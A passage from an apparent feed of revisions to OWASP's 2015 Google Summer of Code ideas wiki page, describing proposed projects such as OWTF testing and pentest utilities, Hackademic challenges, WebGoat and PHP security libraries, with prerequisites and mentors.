In this improvement phase, the Testing Framework should:&lt;br /&gt;
* (Top Prio) Focus more on functional tests&lt;br /&gt;
For example: Improve coverage of OWASP Testing Guide, PTES, etc. (lots of room for improvement there!)&lt;br /&gt;
* (Top Prio) Put together a great wiki documentation section for contributors&lt;br /&gt;
The goal here is to help contributors write tests for the functionality that they implement. This should be as easy as possible.&lt;br /&gt;
* (Top Prio) Fix the current Travis issues :)&lt;br /&gt;
* (Nice to have) Bring the unit tests up to speed with the codebase&lt;br /&gt;
This will be challenging but very worth trying after top priorities.&lt;br /&gt;
The wiki should be heavily updated so that contributors create their own unit tests easily moving forward.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''General background'''&lt;br /&gt;
&lt;br /&gt;
The Unit Test Framework should be able to:&lt;br /&gt;
* Define test categories: For example, &amp;quot;all plugins&amp;quot;, &amp;quot;web plugins&amp;quot;, &amp;quot;aux plugins&amp;quot;, &amp;quot;test framework core&amp;quot;, etc. (please see [http://www.slideshare.net/abrahamaranguren/introducing-owasp-owtf-workshop-brucon-2012 this presentation] for more background)&lt;br /&gt;
* Allow to regression test isolated plugins (i.e. &amp;quot;only test _this_ plugin&amp;quot;)&lt;br /&gt;
* Allow to regression test by test categories (i.e. &amp;quot;test only web plugins&amp;quot;)&lt;br /&gt;
* Allow to regression test everything (i.e. plugins + framework core: &amp;quot;test all&amp;quot;)&lt;br /&gt;
* Produce meaningful statistics and easy to navigate logs to identify which tests failed and ideally also hints on how to potentially fix the problem where possible&lt;br /&gt;
* Allow for easy creation of _new_ unit tests specific to OWASP OWTF&lt;br /&gt;
* Allow for easy modification and maintenance of _existing_ unit tests specific to OWASP OWTF&lt;br /&gt;
* Perform well so that we can run as many tests as possible in a given period of time&lt;br /&gt;
* Potentially leverage the python unittest library: [http://docs.python.org/2/library/unittest.html http://docs.python.org/2/library/unittest.html]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* Performant and automated regression testing&lt;br /&gt;
* Unit tests for a wide coverage of OWASP OWTF, ideally leveraging the Unit Test Framework where possible&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Tool utilities module ===&lt;br /&gt;
&lt;br /&gt;
'''WARNING: This idea is taken from the 1st round of OWCS selections (Sept. 15th), please do NOT apply'''&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
The spirit of this feature is something that may or may not be used from OWTF: These are utilities that may be chained together by OWTF OR a penetration tester using the command line. The idea is to automate mundane tasks that take time but may provide a lever to a penetration tester short on time.&lt;br /&gt;
&lt;br /&gt;
'''Feature 1) Vulnerable software version database:'''&lt;br /&gt;
&lt;br /&gt;
Implement a searchable vulnerable software version database so that a penetration tester enters a version and gets vulnerabilities sorted by criticality with MAX Impact vulnerabilities at the top (possibly: CVSS score in DESC order).&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
[http://www.cvedetails.com/vulnerability-list.php?vendor_id=74&amp;amp;product_id=128&amp;amp;version_id=149817&amp;amp;page=1&amp;amp;hasexp=0&amp;amp;opdos=0&amp;amp;opec=0&amp;amp;opov=0&amp;amp;opcsrf=0&amp;amp;opgpriv=0&amp;amp;opsqli=0&amp;amp;opxss=0&amp;amp;opdirt=0&amp;amp;opmemc=0&amp;amp;ophttprs=0&amp;amp;opbyp=0&amp;amp;opfileinc=0&amp;amp;opginf=0&amp;amp;cvssscoremin=0&amp;amp;cvssscoremax=0&amp;amp;year=0&amp;amp;month=0&amp;amp;cweid=0&amp;amp;order=3&amp;amp;trc=17&amp;amp;sha=0d26af6f3ba8ea20af18d089df40c252ea09b711 Vulnerabilities against specific software version]&lt;br /&gt;
&lt;br /&gt;
'''Feature 2) Nmap output file merger:'''&lt;br /&gt;
&lt;br /&gt;
Unify nmap files *without* losing data: XML, text and greppable formats&lt;br /&gt;
For example: Sometimes 2 scans pass through the same port, one returns the server version, the other does not, we obviously do not want to lose banner information :).&lt;br /&gt;
&lt;br /&gt;
'''Feature 3) Nmap output file vulnerability mapper'''&lt;br /&gt;
&lt;br /&gt;
From an nmap output file, get the unique software version banners, and provide a list of (maybe in tabs?):&lt;br /&gt;
&lt;br /&gt;
1) CVEs in reverse order of CVSS score, with links.&lt;br /&gt;
&lt;br /&gt;
2) Metasploit modules available for each CVE / issue&lt;br /&gt;
&lt;br /&gt;
NOTE: Can supply an *old* shell script for reference&lt;br /&gt;
&lt;br /&gt;
3) Servers/ports affected (i.e. all server / port combinations using that software version)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Feature 4) URL target list creator:'''&lt;br /&gt;
&lt;br /&gt;
Turn all “speaks http” ports (from any nmap format) into a list of URL targets for OWTF&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Feature 5) Hydra command creator:'''&lt;br /&gt;
&lt;br /&gt;
nmap file in =&amp;gt; Hydra command list out&lt;br /&gt;
&lt;br /&gt;
grep http auth / login pages in output files to identify login interfaces =&amp;gt; Hydra command list out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Feature 6) WP-scan command creator:'''&lt;br /&gt;
&lt;br /&gt;
look at all URLs (i.e. nmap file), check if they might be running word press, generate a list of suggested wp-scan commands for all targets that might be running word press&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* Excellent reliability (i.e. proper exception handling, etc.)&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== OWASP ZAP ==&lt;br /&gt;
&lt;br /&gt;
We are in the process of deciding the set of ZAP projects for Google Summer of Code 2015.&lt;br /&gt;
&lt;br /&gt;
You can follow (and join in) the discussions on the ZAP Developer Group: https://groups.google.com/d/msg/zaproxy-develop/Uy0JPkzsI_s/Bj7OTSkISCIJ&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide ==&lt;br /&gt;
&lt;br /&gt;
=== OTG ZAP Integration ===&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
We would like the OWASP Testing Guide and ZAP (and other web testing tools) to be more tightly integrated. This would require adjustments to the Testing Guide, or separate Testing with ZAP Guide, to explain how testing is completed with ZAP. ZAP would need to have reporting updated to refer to the Testing Guide test cases. &lt;br /&gt;
&lt;br /&gt;
'''Expected outputs:'''&lt;br /&gt;
&lt;br /&gt;
Amended OTG or Testing with ZAP Guide. Either option would require the document to integrate with all web testing tools (Using ZAP as the baseline).&lt;br /&gt;
Amended ZAP report strings&lt;br /&gt;
&lt;br /&gt;
'''Knowledge required:'''&lt;br /&gt;
&lt;br /&gt;
Writing skills&lt;br /&gt;
&lt;br /&gt;
'''OTG ZAP Integration mentor:''' &lt;br /&gt;
&lt;br /&gt;
Andrew Muller - OTG Project Co-Leader - Contact: Andrew.muller@owasp.org&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GSoC2015_Ideas&amp;diff=189787</id>
		<title>GSoC2015 Ideas</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GSoC2015_Ideas&amp;diff=189787"/>
				<updated>2015-02-17T12:08:10Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=OWASP Project Requests=&lt;br /&gt;
&lt;br /&gt;
== OWASP Hackademic Challenges ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP Hackademic Challenges Project]]  helps you test your knowledge on web application security. You can use it to actually attack web applications in a realistic but also controllable and safe environment. After a wonderfull 2014 GSoC with 100 new challenges and a couple of new plugins we're mainly looking to get new features in and maybe a couple of challenges. Bellow is a list of proposed features.&lt;br /&gt;
&lt;br /&gt;
'''Tips to get you started in no particular order:''' &lt;br /&gt;
 * Read the [[GSoC SAT]]&lt;br /&gt;
 * Check the Hackademic wiki page linked above&lt;br /&gt;
 * Contact us through the mailing list or irc channel.&lt;br /&gt;
 * Check our [https://github.com/Hackademic/hackademic github repository] and especially the [https://github.com/Hackademic/hackademic/issues open tickets]&lt;br /&gt;
&lt;br /&gt;
=== Web Sandbox ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
After a very successfull OWASP Winter Code Sprint we have a brand new Sandbox feature which uses Linux Containers to create virtual space for each user. So we can host properly vulnerable challenges and maybe execute some code server side. However, the sandbox is not fully complete, we need many features here and there to make it easily deployable and improve it's administration.&lt;br /&gt;
&lt;br /&gt;
Ideas on the project:&lt;br /&gt;
&lt;br /&gt;
* Simple sandbox administration frontend for the web. -- An admin console to start and kill sandboxes manually and to list the status and resources used by each one.&lt;br /&gt;
* Secure the implementation -- Now we have a functioning prototype, we know that Linux Containers are quite safe but we haven't explicitly tested our configuration and use of them.&lt;br /&gt;
* Your idea here...&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
Better sandboxing&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in Linux administration and some security knowledge depending on the specific project.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Source Code testing environment - Defensive Challenges ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Existing challenges are based on a dynamic application testing concept. We would like to work on a project that will give the capability to the attacker to review a vulnerable piece of source code, make corrections and see the result in a realistic (but yet safe) runtime environment. The code can either be run if needed or tested for correctness and security. The implementation challenges of such a project can be numerous, including creating a realistic but also secure environment, testing submitted solutions and grading them in an automatic manner. At the same time there are now numerous sites that support submitting code and then simulate or implement a compiler's functionality.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A source code testing and improvement environment where a user will be able to review, improve and test the result of a piece of source code.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML. Good understanding of Application Security, source code analysis and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Student performance analytics ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
We need a better way to measure the student's performance and how it varies depending on the problem. You will write a plugin (or make changes to the core depending on your implementation proposal) to gather all sorts of performance data and present them in a meaningfull way.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A page to view performance metrics of differenct students.&lt;br /&gt;
( Hackalytics )&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML, javascript. Some understanding of analytics.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== New Template ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
We need a cool new template since the old one is getting pretty old.&lt;br /&gt;
You can do it  using the latest frontend bells and whistles (like angular,bootstrap or the tools of your choice).&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A new template.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in Css, HTML, javascript and/or the tools you plan on using.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Gamification ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Gamification is a feature widely used in many learning platforms out there and it would be nice if we could have it too.&lt;br /&gt;
You will need to design and implement the awards, badges and whatever other feature you have in mind. You will also implement the front and backend changes necessary to present the results.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
Gamification of the platform. ( Hackademicification )&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in Css, HTML, javascript and/or the tools you plan on using.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
=== Your idea ===&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Hackademic is it's community, we always welcome new ideas and cool features. Come over to the irc channel or mailing list and propose something.&lt;br /&gt;
We'd be happy to help you get it done.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
Features we didn't know we needed. ;-)&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in whatever tools and languages you plan on using.&lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Konstantinos Papapanagiotou, Spyros Gasteratos - Hackademic Challenges Project Leaders&lt;br /&gt;
&lt;br /&gt;
== OWASP WebGoat .NET - Vulnerable Website ==&lt;br /&gt;
&lt;br /&gt;
'''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
The actual WebGoat .NET is a vulnerable website built in ASP.NET using C#. There are some challenges already built in but we would like to add more vulnerable features&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET#tab=Overview&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
We want  to add more modules such as &lt;br /&gt;
*WebSockets&lt;br /&gt;
*CSRF challenge&lt;br /&gt;
*Finalise testing an upgrade to the .NET framework 4.5&lt;br /&gt;
*Retest and clean up actual modules&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in .NET, HTML and C#. Good understanding of Application Security, source code analysis and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''Mentors:''' Johanna Curiel, Jerry Hoff - OWASP WebGoat Project Leaders&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP WebGoatPHP==&lt;br /&gt;
===OWASP WebGoatPHP===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[Webgoat]] is a deliberately insecure open source software made by OWASP using Java programming language. It has a set of challenges and steps, each providing the user with one or more web application vulnerability which user tries to solve. There are also hints and auto-detection of correct solutions. &lt;br /&gt;
Since Java is not the most common web application programming language, and it doesn't have many of the bugs other languages such as PHP have when it comes to security, OWASP has [[OWASP_WebGoat_Reboot2012|dedicated in 2012]] an amount of $5000 for promotion of WebGoatPHP.&lt;br /&gt;
&lt;br /&gt;
If you want to know more about WebGoatPHP, I suggest downloading and giving WebGoat a try. It is one of OWASP prides (about 200000 downloads).&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' WebGoatPHP first version is ready, it needs thorough testing and delivery. It also needs new challenges added and a CTF hosted on it.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' You just need to know PHP and SQL. Familiarity with web application security is recommended.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP PureCaptcha==&lt;br /&gt;
===OWASP PureCaptcha===&lt;br /&gt;
'''Description:''' &lt;br /&gt;
[[OWASP PureCaptcha]] is an OWASP project aiming to simplify CAPTCHA usage. Instead of proving rigorous APIs and many dependencies, it is a single source code file (library) that does not depend on anything and generates secure and fast CAPTCHAs, with little memory and processor footprint.&lt;br /&gt;
PureCaptcha is currently released for PHP. The candidate will port this to several other programming languages (priority on web languages) and provide full test coverage.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' PureCaptcha library for at least 3 new programming languages. Unit testing for the core version. A study on security of the generated captcha can also be performed.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisites:''' Any programming language you want to port into, as well as PHP.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Jesse Burns&lt;br /&gt;
&lt;br /&gt;
==OWASP PHP Framework==&lt;br /&gt;
===OWASP PHP Framework===&lt;br /&gt;
&lt;br /&gt;
'''Description:'''&lt;br /&gt;
OWASP PHP Security project plans to gather around secure PHP libraries, and provide a full featured framework of libraries for secure web applications in PHP, both as separate de-coupled libraries and as a whole secure web application framework. Many aspects of this project are already handled, and are being added to OWASP.&lt;br /&gt;
The project has been done in the last two years, and now a framework has been built upon these libraries and security best practices. The framework intends to merge security practices with practical frameworks, and aims to be simple and lightweight.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results: ''' A secure yet robust and practical framework for PHP developers.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' This project requires at least one year of experience working with different PHP projects and frameworks. It will be too hard for someone with average PHP experience.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Advanced&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP RBAC Project==&lt;br /&gt;
===OWASP RBAC Project===&lt;br /&gt;
'''Description:''' ''For the last 7 years, improper access control has been the issue behind two of the Top Ten lists''. &lt;br /&gt;
&lt;br /&gt;
RBAC stands for Role Based Access Control and is the de-facto access control and authorization standard. It simplifies access control and its maintenance for small and enterprise systems alike. NIST RBAC standard has four levels, the second level hierarchical RBAC is intended for this project.&lt;br /&gt;
&lt;br /&gt;
Unfortunately because of many performance and development problems, no suitable RBAC implementation was available until recently, so developers and admins mostly used ACLs and other forms of simple access control methods, which leads to broken and unmaintainable access control over the time. &lt;br /&gt;
&lt;br /&gt;
[[OWASP RBAC project]] has already implemented this, has a wide audience and has released several minor and two major versions. Many new features and modifications are expected by the community behind this.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' OWASP RBAC project more mature by porting from PHP to other programming languages, OR adding new features and testing on the PHP version.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Good SQL knowledge, library development skills, familiarity with one of the programming languages as well as PHP. We recommend average experience and high skills.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]], Rahul Chaudhary, Jesse Burns&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Advanced&lt;br /&gt;
&lt;br /&gt;
For more info, visit [http://phprbac.net phprbac.net]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP PHP Widgets==&lt;br /&gt;
===OWASP PHP Widgets===&lt;br /&gt;
'''Description:''' Pull MVC (widget-based web views) has been available for many years on all major web programming languages, and even for Javascript. PHP on the other hand, lacks these and suffers a lot from forcing push MVC on its developers. There are a few libraries around, not secure and not mature at all. Providing a robust set of widgets for PHP developers not only smoothes web development process, it automatically mitigates a lot of web attacks that are based on user inputs to forms and other web elements (e.g CSRF, SQL Injection, XSS).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' OWASP PHP Widgets is currently in beta, and the candidate will spend time testing the functionalities, providing test coverage, adding new widgets and features, and building a user community.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Average PHP programming. Good experience with web applications.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==OWASP Seraphimdroid==&lt;br /&gt;
&lt;br /&gt;
'''Description:''' SeraphimDroid is educational application for android devices that helps users learn about risks and threats coming from other android applications. SeraphimDroid scans your devices and teaches you about risks and threats coming from application permissions. Also this project will deliver paper on android permissions, their regular use, risks and malicious use. In second version SeraphimDroid will evolve to application firewall for android devices not allowing malicious SMS or MMS to be sent, USSD codes to be executed or calls to be called without user permission and knowledge.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' After last year's GSoC first version of project was released on Google play. However, educational component, setting check, potential android widgets are still missing and would be beneficial. Also, malicious behavior prevention mechanisms should be added and some bugs should be fixed.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Average Android and JAVA programming. Knowledge of XML and SQLite Good experience with mobile applications.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Nikola Milosevic|Nikola Milosevic]]&lt;br /&gt;
&lt;br /&gt;
== OWASP OWTF ==&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - VMS - OWTF Vulnerability Management System ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Background problem to solve:&lt;br /&gt;
&lt;br /&gt;
We are trying to reduce the human work burden where there will be hundreds of issues listing apache out of date or php out of date. &lt;br /&gt;
&lt;br /&gt;
Proposed solution:&lt;br /&gt;
&lt;br /&gt;
We can meta aggregate these duplicate issues into one issue of &amp;quot;outdated software / apache / php detected&amp;quot;. with XYZ list of issues in them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A separate set of scripts that allows for grouping and management of vulnerabilities (i.e. think huge assessments), to be usable *both* from inside + outside of OWTF in a separate sub-repo here: https://github.com/owtf &lt;br /&gt;
&lt;br /&gt;
VMS will have the following features:&lt;br /&gt;
* Vulnerability correlation engine which will allow for quick identification of unique vulnerability and deduplication.&lt;br /&gt;
* Vulnerability table optimization : combining redundant vulnerabilities like example : PHP &amp;lt;5.1 , PHP &amp;lt; 5.2 , PHP &amp;lt; 5.3 all suggest upgrade php so if multiple issues are reported they should be combined.&lt;br /&gt;
* Integration with existing bug tracking system like example bugzilla, jira : Should not be too hard as all such system have one or the other method exposed (REST API or similar)&lt;br /&gt;
* Fix Validation : Since we integrate with bug tracking once dev fixed the bug and code deployed we can run specific checks via * OWTF or other tool (may be specific nessus or nexpose plugin or similar.)&lt;br /&gt;
* Management Dashboard : Could be exposed to Pentester, Higher Management where stats are shown with lesser details but more of high level overview.&lt;br /&gt;
&lt;br /&gt;
[http://www.slideshare.net/null0x00/nessus-and-reporting-karma Similar previous work for Nessus]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* '''IMPORTANT: [http://legacy.python.org/dev/peps/pep-0008/ PEP-8 compliant code] in all modified code and surrounding areas.'''&lt;br /&gt;
* '''IMPORTANT: [https://github.com/7a/owtf/wiki/Contributor%27s-README OWTF contributor README compliant code]'''&lt;br /&gt;
* '''IMPORTANT: [http://sphinx-doc.org/ Sphinx-friendly python comments] [http://owtf.github.io/ptp/_modules/ptp/tools/w3af/parser.html#W3AFXMLParser example Sphinx-friendly python comments here]'''&lt;br /&gt;
* CRITICAL: Excellent reliability -i.e. the Health Monitor cannot crash! :)-&lt;br /&gt;
* Good performance&lt;br /&gt;
* Unit tests / Functional tests&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python and bash experience would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''OWASP OWTF Mentor:'''&lt;br /&gt;
&lt;br /&gt;
Abraham Aranguren - OWASP OWTF Project Leader - Contact: Abraham.Aranguren@owasp.org&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - HTTP Request Translator Improvements ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Problem to solve:&lt;br /&gt;
&lt;br /&gt;
There are many situations in web app pentests where just no tool will do the job and you need to script something, or mess around with the command line (classic example: sequence of steps where each step requires input from the previous step). In these situations, translating an HTTP request or a sequence of HTTP requests, takes valuable time which the pentester might just not really have.&lt;br /&gt;
&lt;br /&gt;
Proposed solution:&lt;br /&gt;
&lt;br /&gt;
An HTTP request translator, a *standalone* *tool* that can:&lt;br /&gt;
&lt;br /&gt;
1) Be used from inside OR outside of OWTF.&lt;br /&gt;
&lt;br /&gt;
2) Translate raw HTTP requests into curl commands or bash/python/php/ruby/PowerShell scripts&lt;br /&gt;
&lt;br /&gt;
3) Provide essential quick and dirty transforms: base64 (encode/decode), urlencode (encode/decode)&lt;br /&gt;
* Transforms with boundary strings? (TBD)&lt;br /&gt;
* Individually or in bulk? (TBD)&lt;br /&gt;
&lt;br /&gt;
'''Essential Function: &amp;quot;--output&amp;quot; argument'''&lt;br /&gt;
&lt;br /&gt;
CRITICAL: The command/script should be generated so that the request is sent as literally as possible.&lt;br /&gt;
&lt;br /&gt;
Example: NO client specific headers are sent. IF the original request had &amp;quot;User-Agent: X&amp;quot;, the generated command/script should have EXACTLY that (i.e. NOT a curl user agent, etc.). Obviously, the same applies to ALL other headers.&lt;br /&gt;
&lt;br /&gt;
NOTE: Ideally the following should be implemented using an extensible plugin architecture (i.e. NEW plugins are EASY to add)&lt;br /&gt;
* http request in =&amp;gt; curl command out&lt;br /&gt;
* http request in =&amp;gt; bash script out&lt;br /&gt;
* http request in =&amp;gt; python script out&lt;br /&gt;
* http request in =&amp;gt; php script out&lt;br /&gt;
* http request in =&amp;gt; ruby script out&lt;br /&gt;
* http request in =&amp;gt; PowerShell script out&lt;br /&gt;
&lt;br /&gt;
'''Basic additional arguments:'''&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;--proxy&amp;quot; argument: generates the command/script with the relevant proxy option&lt;br /&gt;
&lt;br /&gt;
		NOTE: With this the command/script may send requests through a MiTM proxy (i.e. OWTF, ZAP, Burp, etc.)&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;--string-search&amp;quot; argument: generates the command/script so that it:&lt;br /&gt;
&lt;br /&gt;
		1) performs the request&lt;br /&gt;
&lt;br /&gt;
		2) then searches for something in the response (i.e. literal match)&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;--regex-search&amp;quot; argument: generates the command/script so that it:&lt;br /&gt;
		1) performs the request&lt;br /&gt;
&lt;br /&gt;
		2) then searches for something in the response (i.e. regex match)&lt;br /&gt;
&lt;br /&gt;
'''OWTF integration'''&lt;br /&gt;
&lt;br /&gt;
The idea here, is to invoke this tool from:&lt;br /&gt;
&lt;br /&gt;
1) Single HTTP transactions:&lt;br /&gt;
&lt;br /&gt;
For example, have a button to &amp;quot;export http request&amp;quot; + then show options equivalent to the flags&lt;br /&gt;
&lt;br /&gt;
2) Multiple HTTP transactions:&lt;br /&gt;
